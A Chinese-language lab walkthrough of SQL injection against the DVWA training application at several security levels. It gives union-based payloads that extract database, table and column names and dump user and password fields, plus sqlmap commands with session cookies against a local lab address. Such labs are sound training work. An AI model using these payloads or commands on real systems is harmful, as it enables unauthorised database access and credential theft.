SQL Injection
就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
SQL注入分类
数字型
字符型
报错注入
Boollean注入
时间注入
SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数 order by
(3).确定回显位置 union select
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据
SQL注入绕过方法
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过
(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过
知识点
version() 数据库版本
database() 数据库名字
user() 数据库用户
在mysql中存在一个自带的数据库,
information_schema
,他是一个存储记录所有数据库名,表名,列名的数据库,通过查询他获取指定数据库下面的表名和列名信息
information_schema.table 记录所有表名信息的表
information_schema.column 记录所有列名信息的表
table_name 表名
columns_name 列名
low级别
查看源码
(1)判断注入类型,
输入1后,结果如下
输入2后,结果如下
输入1’后报错
猜出到是字符型注入,我们继续输入1’ and ‘1’ ='1
(2)判断字段数 order by
输入1’ order by 1#
输入1’ order by 2# 也没有报错
输入1’ order by 3#时报错了,说明字段只有2列
**(3)判断回显位置 **
1' union select 1,2#
可以知道回显位置 在这二个地方
(4)判断数据库
1' union select 1,database()#
(5)获取表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
**(6)获取字段名 **
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
(7)获取数据
1' union select user,password from users #
medium级别
(1)判断注入类型 我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入
输入id=1’ and ‘1’='1看见报错了
输入id=1 and 1=1没有报错
所以注入类型为数字类型
(2)判断列数
所以列数为2列
(3)判断回显位置
回显位置为2
(4)判断数据库
(5)判断表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
(6)判断列名
我们输入users之后,发现没有如何反应
通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x75736572#
(7)获取数据
id=1 union select user,password from users#
high级别
(1)判断注入类型
输入1’ and ‘1’=2’
判定是字符型注入
(2)判断字段数
1’ order by 1#
1’ order by 2#
在输入 1’ order by 3# 时报错
(3)判断回显位置
1' union select 1,2#
(4) 获取数据库
1' union select 1,database()#
(5)获取表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
(6)获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
(7)获取数据
1' union select user,password from users#
报错解决
sql注入联合查询时返回报错信息 “Illegal mix of collations for operation ‘UNION’ ”
出现这个问题的原因是因为union字符规则不一致导致
解决:
进入数据库管理后台
SQL Injection(Blind)
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
Sqlmap采用了以下5种独特的SQL注入技术
1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4、联合查询注入,在可以使用Union的情况下注入
5、堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
基本步骤
查看sqlmap相关参数以及用法,命令格式为:sqlmap -h
找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u
确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs
查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名
获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名
猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名
sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。
python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch
–batch用来指明自动化操作,否则每一个步骤都需要确认;
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户
LOW级别
浏览器抓包
也可以用bp截取cookie信息
sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma"
开始暴库
sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" --dbs --batch
暴表名
sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa' --tables --batch
# -D 要爆破的数据库名
# --tables 暴表名
暴字段
sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma" -D dvwa -T users --columns --batch
# -D 要爆破的数据库名
# -T 要爆破的表名
# --columns 暴字段名
获取用户和密码
sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa' -T 'users' -C 'user,password' --dump
# -C 'user,password' 要爆破的字段
# --dump 导出数据库
Medium级别
bp抓包,发现是post请求携带参数提交的数据,需要使用 --data 参数把数据引入过来
爆破数据库
sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" --dbs --batch
爆破数据库的表
sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa --tables --batch
爆破表的字段
sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users --columns --batch
获取用户和密码
sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password --dump